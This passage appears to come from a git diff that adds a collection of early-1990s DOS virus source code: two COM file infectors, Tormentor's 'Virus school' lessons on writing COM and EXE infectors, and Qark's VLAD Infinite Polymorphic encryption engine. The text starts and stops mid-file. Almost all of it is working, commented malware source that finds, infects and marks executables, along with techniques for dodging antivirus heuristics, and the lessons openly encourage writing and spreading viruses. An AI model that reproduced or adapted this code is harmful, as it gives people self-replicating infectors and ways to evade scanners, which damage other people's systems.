point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk diff --git a/v/VVV9.ASM b/v/VVV9.ASM new file mode 100755 index 0000000..4b00899 --- /dev/null +++ b/v/VVV9.ASM @@ -0,0 +1,189 @@ +.model tiny +.code +org 100h +kkk: + nop ; ID +count db 90h ; ID + + mov cx,80h + mov si,0080h + mov di,0ff7fh + rep movsb ; save param + + lea ax,begp ; begin prog + mov cx,ax + sub ax,100h + mov ds:[0fah],ax ; len VIR + add cx,fso + mov ds:[0f8h],cx ; begin buffer W + ADD CX,AX + mov ds:[0f6h],cx ; begin buffer R + + mov cx,ax + lea si,kkk + mov di,ds:[0f8h] +RB: REP MOVSB ; move v + + mov al,3 ; inf. only 3 file + mov count,al + + mov ah,2ah + int 21h + mov ds:[0f2h],dx ; + mov ds:[0f4h],cx ; save system date + + stc + + LEA DX,FFF + MOV AH,4EH + MOV CX,20H + INT 21H ; find first + + or ax,ax + jz LLL + jmp done + +LLL: + MOV AH,2FH + INT 21H ; get DTA + + mov ax,es:[bx+1ah] + mov ds:[0fch],ax ; size + add bx,1eh + mov ds:[0feh],bx ; point to name + + mov ax,'OC' ; "CO" + sub ax,ds:[009eh] + jne cont0 ; if file name CO*.com then skip + jmp fin + +cont0: + add ax,180h ; if new len file + len VIR + 180h > FFF0 + add ax,ds:[0fah] ; then skip this file + add ax,fso + cmp ax,0fff0h + jna cont2 + jmp fin + +cont2: + mov cx,ds:[98h] + and cx,001fh + mov dl,cl + mov ax,ds:[98h] + and ax,01e0h + mov cl,5 + sar ax,cl + mov dh,al + mov ax,ds:[98h] + and ax,0fe00h + mov cl,9 + sar ax,cl + mov cx,ax + add cx,1980 + mov ah,2bh + int 21h ; set system time + + clc + mov ax,3d02h + mov dx,bx + int 21h ; open file + + mov bx,ax + mov ah,3fh + mov cx,ds:[0fch] + mov dx,ds:[0f6h] + int 21h ; read file + + mov bx,dx + mov ax,[bx] + cmp ax,9090h + je fin ; if file inf. then skip this file + cmp ax,'ZM' + je fin ; if file .COM is EXE then skip + + mov di,dx + mov cx,ds:[0fch] +NEWS: + or cx,cx + js cont + mov al,'M' + repne scasb + jne cont + mov al,'Z' + cmp es:[di],al + je fin ; if converted then skip + jmp news + +cont: + MOV AX,ds:[0fch] + mov bx,ds:[0f6h] + mov [bx-2],ax ; correct old len + + mov ah,3ch + mov cx,00h + mov dx,ds:[0feh] ; point to name + clc + int 21h ; create file + + mov bx,ax ; # + mov ah,40h + mov cx,ds:[0fch] + add cx,ds:[0fah] + mov DX,ds:[0f8h] + int 21h ; write file + + + mov ah,3eh + int 21h ;close file + + dec count + jz done + +FIN: + stc + mov ah,4fh + int 21h ; find next + + or ax,ax + jnz done + + JMP lll + +DONE: + mov dx,ds:[0f2h] + mov cx,ds:[0f4h] + mov ah,2bh + int 21h + + mov cx,80h + mov si,0ff7fh + mov di,0080h + rep movsb ; restore param + + MOV AX,0A4F3H + mov ds:[0fff9h],ax + mov al,0eah + mov ds:[0fffbh],al + mov ax,100h + mov ds:[0fffch],ax ; remove REP MOVSB and FAR JMP cs:0100 + + lea si,begp + lea di,kkk + mov ax,cs + mov ds:[0fffeh],ax + mov kk,ax + mov cx,fso + + db 0eah + dw 0fff9h +kk dw 0000h + +fff db '*?.com',0 +fso dw 0005h ; source len file + + +begp: + MOV AX,4C00H + int 21h ; exit + +end kkk \ No newline at end of file diff --git a/v/VX1.ASM b/v/VX1.ASM new file mode 100755 index 0000000..e94c602 --- /dev/null +++ b/v/VX1.ASM @@ -0,0 +1,118 @@ +Code Segment + Assume CS:Code,DS:Code,ES:Code + + V_Length Equ Program - Main + F_Name Equ 0FC1Eh + F_Time Equ 0FC16h + F_Date Equ 0FC18h + HAdr Equ 0FD00h + DTA Equ 0FC00h + + Org 100h + +Main: + push [BOP] ;bewaar orginele offset programma + + mov ah,1ah ;DTA boven neerzetten + mov dx,DTA ;DTA adres + int 21h + + mov ah,4eh ;zoek naar COM files + mov dx,Offset Target + xor cx,cx + int 21h + +Read_file: + mov ax,3d02h ;open het doelbestand + mov dx,Offset F_Name + int 21h + + mov bx,ax ;bewaar de file handle + + mov bp,cs:[F_Time] ;Bewaar de tijd + mov di,cs:[F_Date] ;Bewaar de datum + + mov ah,3fh ;lees deel van het doelbestand + mov dx,Hadr ;buffer adres + mov cx,V_Length ;lengte van het 4us + int 21h ;naar het hoog adres in + + mov si,dx ;Is het bestand al geinfecteerd? + cmp Word Ptr [si],36ffh + jne Infect_File ;Nee, infecteer het + + mov ah,4fh ;Zoek volgende COM bestand + int 21h + + jc End_Infect + jmp Short Read_File + +Infect_File: + mov ax,4202h ;zoek naar het einde van doelbestand + xor cx,cx ;ax bevat na het na het uitvoeren van + xor dx,dx ;de interrupt de lengte van de file + int 21h + + add ax,100h ;tel 100h bytes PSP erbij op en + mov BOP,ax ;bewaar de lengte van het doelbestand + + mov ah,40h ;overschrijf begin van doelbestand + mov cx,V_Length ;lengte van het 4us + mov dx,HAdr ;buffer + int 21h + + mov ax,4200h ;zoek het begin van het doelbestand op + xor cx,cx + xor dx,dx + int 21h + + mov ah,40h ;schrijf de 4uscode over de file + mov cx,V_Length ;lengte van het 4us + mov dx,Offset Main + int 21h + + mov ax,5701h ;zet orginele datum terug + mov dx,di ;datum + mov cx,bp ;tijd + int 21h + +End_Infect: + mov ah,3eh ;sluit het doelbestand af + int 21h + + mov ah,1ah ;set DTA terug naar default + mov dx,0080h + int 21h + + cld ;voorwaarts + mov di,HAdr ;buffer + push di ;en nog een voor het verplaatsen straks + mov si,Offset MoveBlock ;wijst naar relocator + mov cx,Program - MoveBlock ;lengte relocator + rep movsb ;verplaats het block + ret ;en ga er naar toe + +BOP dw Offset Program + +MoveBlock: + mov cx,V_Length ;aantal bytes dat verplaatst wordt + pop si ;haal BOP terug via de stack + mov di,0100h ;hier gaat het allemaal naar toe + push di ;bewaar voor de RET + rep movsb ;verplaatsen + ret ;en start orginele programma op + +Target: + db '*.com',0 + +Program: ;Dit is het fake programma wat later + mov ah,4ch ;door de relocator verplaatst wordt + int 21h ;naar het begin van de file + +Code Ends +End Main + +; +; > and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; diff --git a/v/V_LES1.ASM b/v/V_LES1.ASM new file mode 100755 index 0000000..0cd988f --- /dev/null +++ b/v/V_LES1.ASM @@ -0,0 +1,158 @@ +; +; Virus school, lession 1 (c) 1992 Tormentor [Demoralized Youth] +; +; This is the first lession on how to make an own virus. +; Hope you'll learn something of it... +; To be compiled with TASM 3.0 or higher. +; +; This virus is quite dumb and 'noisy' +; It updates the filedate and time, changes DTA before execution causing +; some progs to belive they are executed with parameters... +; But this should only be a 'raw' virus that you can develop. +; Certain program may hang, so i recommend you not to spread to geeks +; since there is MANY better viruses to use for such nice purpose. +; +; If you want to conntact me or other virus-writers call me on my board: +; Swedish Virus Laboratory +46-3191-9393 +; +; Greetings to All virus-writers! +; + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +dummy_code: db 'M' ; Mark file as infected. + db 3 DUP(90) ; This is to simulate a infected prog. + ; Not included in virus-code. + +Virus_Start: call where_we_are ; Now we call the next bytes, just to + ; know what address virus lies on. +where_we_are: pop si ; Since the virus-code's address will + ; differ from victim to victim. + ; a POP SI after a call will give us the + ; address which equals to 'where_we_are' + ; Very important. + +;----------------------------------------------------------------------- +; Now we have to put back the original 4 bytes in the host program, so +; we can return control to it later: + + add si,_4first_bytes-where_we_are + mov di,100 + cld + movsw + movsw + +;------------------------------------------------------------------------ + +; We have to use SI as a reference since files differ in size thus making +; virus to be located at different addresses. + + sub si,_4first_bytes-Virus_Start+4 + +;------------------------------------------------------------------------ +; Now we just have to find victims, we will look for ALL .COM files in +; the current directory. + + mov ah,4e ; We start to look for a *.COM file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jc no_victim_found ; If no *.COM files was found. + + mov ax,3d02 ; Now we open the file. + mov dx,9e ; The found victims name is at ds:009e + int 21 ; in DTA. + + jc cant_open_file ; If file couldn't be open. + + xchg ax,bx ; Save filehandle in bx +; (we could use MOV BX,AX but we saves one byte by using xchg ) + + mov ah,3f ; Now we read the first 4 bytes + mov cx,4 ; from the victim -> buffer + + mov dx,offset _4first_bytes-Virus_Start + add dx,si + ; We will then overwrite them with + int 21 ; a JMP XXXX to virus-code at end. + + jc read_error + + cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' + jz sick_or_EXE ; Check if infected OR *.EXE +; Almost all EXE files starts with 'M' and we mark the infected files by +; starting with 'M' which equals to DEC BP +; Now we just have to have one check instead of 2 (infected and *.EXE) + + mov ax,4202 ; Position file-pointer to point at + xor cx,cx ; End-of-File. + xor dx,dx ; Any writing to file will now APPEND it + int 21 ; Returns AX -> at end. + + sub ax,4 ; Just for the JMP structure. + + mov word ptr ds:[_4new_bytes+2],ax + ; Build new JMP XXXX to virus. + ; ( logic: JMP AX ) + + mov ah,40 ; Append file with virus code. + mov cx,offset Virus_Lenght + ; File-size will increase with + mov dx,si ; Virus_Lenght. + int 21 + + jc write_error + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx ; So we can change the first 3 bytes + xor dx,dx ; to JMP to virus. + int 21 + + mov ah,40 ; Write new 3 bytes. + mov cx,4 ; After this, executing the file will + mov dx,offset _4new_bytes-Virus_Start + add dx,si + ; result in virus-code executing before + int 21 ; original code. + ; (And more files will be infected) + + jc write_error + + mov ah,3e ; Close file, now file is infected. + int 21 ; Dos function 3E (close handle) + +Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's + jmp look4victim ; find another victim... + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + mov ax,100 ; Every thing is put back in memory, + push ax ; lets us RET back to start of program + ret ; and execute the original program. + +notes db ' (c) 1992 Tormentor ,Swedish Virus Laboratory' + db ' / Demoralized Youth / ' + +file_match db '*.COM',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +_4first_bytes: ret ; Here we save the 4 first org. bytes + db 3 DUP(0) +; We have a ret here since this file isn't a REAL infection. + +_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes + ; so our virus-code will be run first. +Virus_End EQU $ + + end dummy_code diff --git a/v/V_LES2.ASM b/v/V_LES2.ASM new file mode 100755 index 0000000..1040c1f --- /dev/null +++ b/v/V_LES2.ASM @@ -0,0 +1,160 @@ +; +; Virus Lession #2 'How to make a non-resident EXE infector' +; +; (c) 1992 Tormentor // Demoralized Youth +; +; Well, I had not time to comment this code as much as I wanted to, +; but here you are. +; What can be hard to understand is the .EXE header changes, but if +; you look at the description on the header (ex: Norton guide Tech. Ref) +; you'll understand... +; Anyway, feel free to use this example and if you have any questions +; or anything call my board: Swedish Virus Labratory +46-3191-9393 +; +; Greetings to all virus-writers! +; +; /Tormentor +; + + + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +Virus_Start: call where_we_are + +where_we_are: pop si + + sub si,where_we_are-Virus_Start + + mov ax,es + add ax,10 + add ax,cs:[si+Exe_header-Virus_Start+16] + push ax + push cs:[si+Exe_header-Virus_Start+14] + + push ds + push cs + pop ds + + mov ah,1a + mov dx,offset Own_dta-Virus_Start + add dx,si + int 21 + + mov ah,4e ; We start to look for a *.EXE file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jnc cont2 + jmp no_victim_found ; If no *.EXE files was found. + +cont2: mov ax,3d02 + mov dx,Own_dta-Virus_Start+1e + add dx,si + int 21 + + jnc cont1 + jmp cant_open_file + +cont1: xchg ax,bx + + mov ah,3f + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc read_error + + cmp byte ptr ds:[si+Exe_header-Virus_Start],'M' + jnz no_exe ; !!! Some EXEs starts with ZM !!! + cmp word ptr ds:[si+Exe_header-Virus_Start+12],'DY' + jz infected + + mov ax,4202 ; Go EOF + xor cx,cx + xor dx,dx + int 21 + + push dx + push ax + + mov ah,40 ; Write virus to EOF. + mov cx,Virus_Lenght + mov dx,si + int 21 + + mov ax,4202 ; Get NEW filelenght. + xor cx,cx + xor dx,dx + int 21 + + mov cx,200 + div cx + inc ax + mov word ptr ds:[Exe_header-Virus_Start+2+si],dx + mov word ptr ds:[Exe_header-Virus_Start+4+si],ax + + pop ax + pop dx + + mov cx,10 + div cx + sub ax,word ptr ds:[Exe_header-Virus_Start+8+si] + mov word ptr ds:[Exe_header-Virus_Start+16+si],ax + mov word ptr ds:[Exe_header-Virus_Start+14+si],dx + + mov word ptr ds:[Exe_header-Virus_Start+12+si],'DY' + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx + xor dx,dx + int 21 + + mov ah,40 ; Write header + mov cx,1c + mov dx,offset Exe_header-Virus_Start + add dx,si + int 21 + + jc write_error + +no_exe: +infected: + mov ah,3e + int 21 + +Sick_or_EXE: mov ah,4f + jmp look4victim + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + + pop ds + retf + +file_match db '*.EXE',0 ; Pattern to search for. + ; Don't forget to end with 0 ! + +Exe_header db 16 DUP(0) + dw 0fff0 ; Adjustment just for this COM-file. + db 4 DUP(0) + +notes db '(c) 1992 Tormentor / Demoralized Youth ',0a,0d + db 'Rather first in hell, than second in heaven.' + +Own_Dta db 02bh DUP(0) + +Virus_End EQU $ + + end Virus_Start + \ No newline at end of file diff --git a/v/vip.asm b/v/vip.asm new file mode 100755 index 0000000..b7260fc --- /dev/null +++ b/v/vip.asm @@ -0,0 +1,1241 @@ + +; +; VLAD Infinite Polymorphic - VIP +; by Qark - VLAD +; +; This engine is good in some respects, and poor in others. +; The encryption it creates is fairly easy to crack, being a looping +; xor with a keychange (all registers/values chosen at random), +; but the encryption loops are very hard to detect. There are four +; different loop types, of which TBSCAN can only find two. +; +; At the start of the decryptor, the engine won't produce some instructions +; that flag heuristics. For this reason, VIP avoids alot of the heuristic +; problems most other garbage generators have. For example: +; Doesn't produce INC/DEC in the first 20 bytes to avoid flags. +; Doesn't produce memory operations in the first 10 bytes. +; Doesn't produce XCHG in the first 10 bytes. +; Always uses the short version of instructions (AX/AL Imm etc) +; +; One problem that couldn't be avoided is the creation of FFFF word pointers +; causing crashes. The likelihood of them occurring is low (about 1 in 300 +; samples) because danger instructions have been put to a minimum. +; (eg mov ax,[bx-1] bx=0, isn't produced anymore). +; +; If you're wondering why the polymorphism produced isn't changing, that's +; because it's an example of slow polymorphism. +; +; To assemble, use it as an include file for the program that calls it. +; + + +VIP: +;On entry: +; AL = 1 if COM file +; DS:SI = Points to the unencrypted virus +; ES:DI = Place to store encrypted virus +; CX = length of virus +; BP = delta offset +; Assumes CS=DS=ES +;On return: +; CX = length of decryptor + encrypted code + + cld + mov word ptr saved_cx,cx + mov word ptr saved_di,di + mov word ptr saved_si,si + mov byte ptr segtype,al + mov byte ptr inloop,0 ;Initialise variable + + ;Initialise our randomisation for slow polymorphism. + call init_rand + + ;Clear the register table + + call unmark_all + + ;Clear the displacements + call clear_displacement + + ;Select a random decryption type. +rand_routine: + call get_rand + mov si,offset dec_type + and ax,3*2 + add si,ax + mov ax,word ptr [si] + jmp ax + +Standard: +;Uses 'standard' encryption. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; loop: +; xor word ptr pointer,cipher +; inc pointer +; inc pointer +; cmp pointer,virus_start+virlength +; jne loop +; virus_start: +; ----------------------------------------------- + + call startup ;Setup pointer and cipher + + mov byte ptr inloop,1 + mov word ptr loopstart,di + + call encrypt_type + + or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne ;JNE xx + call calc_jne + + mov byte ptr inloop,0 + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + +Stack1: +;Use the stack method for encryption. This method doesnt work on EXE's +;because SS <> CS. +; ----This is a basic layout of the decryptor---- +; mov sp,offset virus_start +; mov cipher,xor_val +; loop: +; pop reg +; xor reg,cipher +; push reg +; pop randomreg +; cmp sp,virus_start+virus_length +; jne loop +; ----------------------------------------------- + + cmp byte ptr segtype,0 + jne stack1_ok + jmp rand_routine +stack1_ok: + call rand_garbage + call rand_garbage + mov al,0bch ;MOV SP,xxxx + stosb + mov word ptr displace,di + mov ax,bp + stosw + + call setup_cipher + + mov byte ptr inloop,1 + mov word ptr loopstart,di + + call select_reg + call rand_garbage + push ax + or al,58h ;POP reg + stosb + call rand_garbage + + mov al,33h ;XOR reg,reg + stosb + + pop ax + push ax + push cx + mov cl,3 + shl al,3 + or al,byte ptr cipher + or al,0c0h + stosb + pop cx + + call rand_garbage + + pop ax + or al,50h ;PUSH reg + stosb + + call rand_garbage +next_pop: + call get_rand + call check_reg + jc next_pop + and al,7 + or al,58h ;POP reg (=add sp,2) + stosb + + call rand_garbage + + mov ax,0fc81h ;CMP SP,xxxx + stosw + mov word ptr displace2,di + + call round_up + add ax,bp + stosw + + call handle_jne + call calc_jne + + mov byte ptr inloop,0 + + mov al,0bch ;mov sp,0fffeh + stosb + mov ax,0fffeh + stosw + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + mov si,word ptr saved_si + mov cx,word ptr saved_cx + inc cx + shr cx,1 + mov bx,word ptr xorval +enc_stack1: + lodsw + xor ax,bx + stosw + loop enc_stack1 + + call decryptor_size + + ret + +Call_Enc: +;Uses recursive calls to decrypt the virus. Needs a big stack or else it will +;crash. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; loop: +; cmp pointer,virus_start+virus_length +; jne small_dec +; ret +; small_dec: +; xor word ptr pointer,cipher +; inc pointer +; inc pointer +; call loop +; add sp,virus_length-2 +; ----------------------------------------------- + + call startup + + mov byte ptr inloop,1 + + mov word ptr loopback,di + call rand_garbage + + mov al,byte ptr pointer + or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne + + mov word ptr loopf,di + stosb + + call rand_garbage + + mov al,0c3h ;RET + stosb + + call rand_garbage + + mov ax,di ;Fix the JNE. + mov si,word ptr loopf + inc si + sub ax,si + dec si + mov byte ptr [si],al + + call encrypt_type + + mov al,0e8h ;CALL xxxx + stosb + mov ax,di + inc ax + inc ax + sub ax,word ptr loopback + neg ax + stosw + + mov byte ptr inloop,0 + + call rand_garbage + + mov ax,0c481h + stosw + mov ax,word ptr saved_cx + dec ax + dec ax + stosw + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + +Call_Enc2: +;Decrypts the virus from within a call. +; ----This is a basic layout of the decryptor---- +; mov pointer,offset virus_start +; mov cipher,xorval +; call decrypt +; jmp short virus_start +; decrypt: +; xor pointer,cipher +; inc pointer +; inc pointer +; cmp pointer,virus_start+viruslength +; jne decrypt +; ret +; ----------------------------------------------- + + call startup + + mov byte ptr inloop,1 + + mov al,0e8h ;CALL xxxx + stosb + stosw + mov word ptr loopf16,di + + call rand_garbage + + mov al,0e9h ;JMP xxxx + stosb + mov word ptr displace2,di +; mov ax,di +; inc ax +; inc ax +; sub ax,saved_di +; neg ax + stosw + + call rand_garbage + call rand_garbage + + mov ax,di + mov si,word ptr loopf16 + sub ax,si + mov word ptr [si-2],ax + + mov word ptr loopstart,di + + call encrypt_type + + or al,0f8h + mov ah,al + mov al,81h ;CMP pointer,xxxx + stosw + + call round_up + add ax,word ptr pointer1val + stosw + + call handle_jne + call calc_jne + + mov al,0c3h ;ret + stosb + + mov byte ptr inloop,0 + + call rand_garbage + + mov ax,di + mov si,word ptr displace2 + sub ax,si + dec ax + dec ax + mov [si],ax + mov word ptr displace2,0 + + call rand_garbage + + ;Calculate the displacement + call fix_displacements + + call encrypt_virus + + call decryptor_size + + ret + + db 'VIP V1.0 by Qark/VLAD' + + +;All the different encryption types +dec_type dw offset stack1 + dw offset call_enc + dw offset call_enc2 + dw offset standard + +segtype db 0 ;1 if com file +saved_cx dw 0 ;the initial CX +saved_di dw 0 ;the initial DI +saved_si dw 0 + +displace dw 0 +displace2 dw 0 + dw 0 + +displaceb dw 0 + +inloop db 0 ;=1 if inside a loop else 0 + ;if set no 'word ptr' instructions made +loopstart dw 0 ;for backwards 8 bit +loopf dw 0 ;for forwards 8 bit +loopback dw 0 ;backwards 16 bit +loopf16 dw 0 ;forwards 16 bit +xorval dw 0 + +cipher db 0 + +r_m db 0 ;The r-m of the pointer + +; +;General routines, used universally +; +Check_Reg: +;Returns a carry if the register in lower 3 bits of al is bad + push ax + push si + and ax,7 + mov si,offset reg + add si,ax + cmp byte ptr [si],0 + pop si + pop ax + je ok_reg + stc + ret +ok_reg: + clc + ret + ; ax,cx,dx,bx,sp,bp,si,di +reg db 00,00,00,00,01,00,00,00 + +Mark_Reg: +;Mark a register as used, AL=reg + push ax + push si + and ax,7 + mov si,offset reg + add si,ax + mov byte ptr [si],1 + pop si + pop ax + ret + +UnMark_All: +;Clears the register table, and sets SP + push ax + push di + push cx + mov di,offset reg + mov al,0 + mov cx,8 + cs: + rep stosb + mov byte ptr cs:[reg+4],1 ;set sp + pop cx + pop di + pop ax + ret + +Clear_Displacement: +;Clears all the displacement variables + push di + push ax + mov di,offset displace + xor ax,ax + stosw + stosw + stosw + stosw + stosw + pop ax + pop di + ret + +Select_Pointer: +;Select an r-m as a pointer, you must call this routine before reserving +;any registers. Updates the variable r_m. + push ax + push si + call get_rand + and ax,7 + mov byte ptr r_m,al + + call index_2_pointer + mov al,byte ptr [si] + call mark_reg + inc si + mov al,byte ptr [si] + cmp al,0 + je no_pointer2 + call mark_reg +no_pointer2: + pop si + pop ax + ret + +Setup_Pointer: +;Sets up the registers specified in the r-m with random values. These +;values are put into the variable 'pointval'. +;Moves the instructions into ES:DI. + push ax + push si + + call rand_garbage + + call index_2_pointer + mov al,byte ptr [si] + mov byte ptr pointer,al + or al,0b8h ;MOV REG,xxxx + stosb + call get_rand + stosw + mov word ptr pointval,ax + mov word ptr pointer1val,ax + + call rand_garbage + + mov al,byte ptr [si+1] + cmp al,0 + je no_setupp2 + + or al,0b8h ;MOV REG,xxxx + stosb + + call get_rand + stosw + add word ptr pointval,ax + + call rand_garbage + +no_setupp2: + + pop si + pop ax + ret + +Index_2_Pointer: +;Sets SI to the 'pointers' table of the r_m + push ax + xor ax,ax + mov al,byte ptr r_m + shl ax,1 + mov si,offset pointers + add si,ax + pop ax + ret + +pointer db 0 ;the first register +pointer1val dw 0 ;the value of the first register +pointval dw 0 +Pointers db 3,6 ;[bx+si] + db 3,7 ;[bx+di] + db 5,6 ;[bp+si] + db 5,7 ;[bp+di] + db 6,0 ;[si] + db 7,0 ;[di] + db 5,0 ;[bp] + db 3,0 ;[bx] + +Select_Reg: +;Reserves a random register, and passes it out in AL +;AH is destroyed + call get_rand + call check_reg + jc select_reg + and al,7 + call mark_reg + ret + +Setup_Reg: +;Puts the value specified in BX, into the register specified in AL. +;-Needs Fixing- to add a possible SUB, and also the garbage generation needs +;to produce the same add/sub opcodes. + + push ax + push bx + + call rand_garbage + + and al,7 + push ax + or al,0b8h ;MOV reg,xxxx + stosb + + call get_rand + + sub bx,ax + stosw + + call rand_garbage + + pop ax + cmp al,0 + jne long_addreg + mov al,5 ;ADD AX,xxxx + stosb + jmp short finish_add +long_addreg: + or al,0c0h + mov ah,al + mov al,81h + stosw ;ADD reg,xxxx +finish_add: + mov ax,bx + stosw + + call rand_garbage + + pop bx + pop ax + ret + +Seg_Override: +;Puts the correct segment before a memory write. The memory write must be +;called immediately afterwards. + push ax + cmp byte ptr segtype,1 + je no_segset + mov al,2eh ;CS: + stosb +no_segset: + pop ax + ret + +Fix_Pointer: +;Fixes up the mod/rm field of a pointer instruction. Before this routine +;is called, the opcode field has already been stosb'd. eg for xor, 31h has +;been put into the current es:[di-1]. +;on entry AL=register +;The displacement field (the following 2 bytes) must be fixed up manually. + + push ax + push bx + push cx + + mov cl,3 + shl al,cl + or al,byte ptr r_m + or al,80h + stosb + + pop cx + pop bx + pop ax + ret + +Dec_Inc_Reg: +;Inc/Dec's the reg in AL. AH= 0=inc 1=dec +;No garbage generators are called in this routine, because the flags +;may be important. + push ax + mov byte ptr dec_inc,ah + call get_rand + test al,1 + pop ax + push ax + jnz do_inc_dec + cmp al,0 ;check for ax + jne not_ax_incdec + mov ax,0ff05h ;ADD AX,ffff = DEC AX + cmp byte ptr dec_inc,0 + jne fdec1 + mov al,2dh ;SUB +fdec1: + stosw + mov al,0ffh + stosb + pop ax + ret +not_ax_incdec: + cmp byte ptr dec_inc,0 + je fdec2 + or al,0c0h + jmp short fdec3 +fdec2: + or al,0e8h +fdec3: + mov ah,al + mov al,83h ;ADD reg,ffff = DEC reg + stosw + mov al,0ffh + stosb + pop ax + ret +do_inc_dec: + or al,40h ;INC reg + cmp byte ptr dec_inc,0 + je fdec4 + or al,8 +fdec4: + stosb + pop ax + ret +dec_inc db 0 ;0=inc 1=dec + +Round_Up: +;Rounds up the number in saved_cx to the nearest 2 and passes it out in AX. + mov ax,word ptr saved_cx + inc ax + shr ax,1 + shl ax,1 + mov word ptr saved_cx,ax + ret + +Fix_Displacements: +;Adds the size of the produced decyptors to the data listed in the +;displacement variables. 0 Values signal the end. +;DI=The final length of the 'decryptor' + + push ax + push si + + mov ax,di + sub ax,word ptr saved_di + push di + mov si,offset displace +disp_loop: + cmp word ptr [si],0 + je last_displacement + mov di,[si] + add [di],ax + inc si + inc si + jmp short disp_loop +last_displacement: + pop di + pop si + pop ax + ret + +Rand_Garbage: +;Generates 1-4 garbage instructions. + push ax + call get_rand + and ax,07h + push cx + mov cx,ax + inc cx +start_garbage: + call select_garbage + loop start_garbage + pop cx + pop ax + ret + +Select_Garbage: +;Selects a garbage routine to goto + + call get_rand + and ax,14 + push si + mov si,offset calls + add si,ax + mov ax,word ptr [si] + pop si + jmp ax + +calls dw offset Make_Inc_Dec + dw offset Imm2Reg + dw offset Rand_Instr + dw offset Mov_Imm + dw offset Make_Xchg + dw offset Rand_Instr + dw offset Mov_Imm + dw offset Imm2Reg + +Make_Inc_Dec: +;Puts a word INC/DEC in ES:DI +;eg INC AX +; DEC BP + + mov ax,di + sub ax,word ptr saved_di + cmp ax,15 + ja not_poly_start ;inc/dec in the first 20 bytes, flags + ret +not_poly_start: + call get_rand + call check_reg + jc make_inc_dec + and al,0fh + or al,40h + + test al,8 + jnz calc_dec + + stosb + ret +calc_dec: + mov ah,al + and al,7 + cmp al,2 + ja Make_Inc_Dec + mov al,ah + stosb + ret + +Fix_Register: +;AX=random byte, where the expected outcome is ah=opcode al=mod/rm +;Carry is set if bad register. Word_Byte is updated to show word/byte. + test ah,1 + jnz word_garbage + mov byte ptr word_byte,0 + call check_breg + jmp short byte_garbage +word_garbage: + mov byte ptr word_byte,1 + call check_reg +byte_garbage: + ret +word_byte db 0 ;1=word, 0 = byte + + +Imm2Reg: +;Immediate to register. + call get_rand + call fix_register + jc imm2reg + test al,7 ;AX/AL arent allowed (causes heuristics) + jz imm2ax + xchg al,ah + and al,3 + cmp al,2 ;signed byte is bad + je imm2reg + or al,80h + or ah,0c0h + stosw + test al,2 ;signed word + jnz ione_stosb + call get_rand + cmp byte ptr word_byte,1 + jne ione_stosb + stosb +ione_stosb: + call get_rand + stosb + ret +imm2ax: + xchg ah,al + and al,3dh + or al,4 + stosw + test al,1 + jnz ione_stosb + ret + +Rand_Instr: +;Creates a whole stack of instructions. +;and,or,xor,add,sub,adc,cmp,sbb + + mov ax,di + sub ax,word ptr saved_di + cmp ax,10 + ja not_poly_start2 ;in the first 20 bytes, flags G + ret +not_poly_start2: + call get_rand + ;Inloop stops xxx xx,word ptr [xxxx] instructions inside the + ;loops. It changes them to 'byte ptr' which stops the ffff crash + ;problem. + cmp byte ptr inloop,1 + jne ok_words + and ah,0feh +ok_words: + call fix_register + jc rand_instr + push cx + mov cl,3 + rol al,cl + pop cx + xchg ah,al + and al,039h + or al,2 ;set direction flag + stosb + mov al,ah + and al,0c0h + cmp al,0c0h + je zerobytedisp + cmp al,0 + je checkdisp + cmp al,80h + je twobytedisp + ;sign extended + mov al,ah + stosb +negative_value: + call get_rand + cmp al,0ffh + je negative_value + stosb + ret +twobytedisp: + mov al,ah + stosb + call get_rand + stosw + ret +checkdisp: + push ax + and ah,7 + cmp ah,6 + pop ax + je twobytedisp +zerobytedisp: + mov al,ah + stosb + ret + +Mov_Imm: +;Puts a MOV immediate instruction. + call get_rand + test al,8 + jnz word_mov + 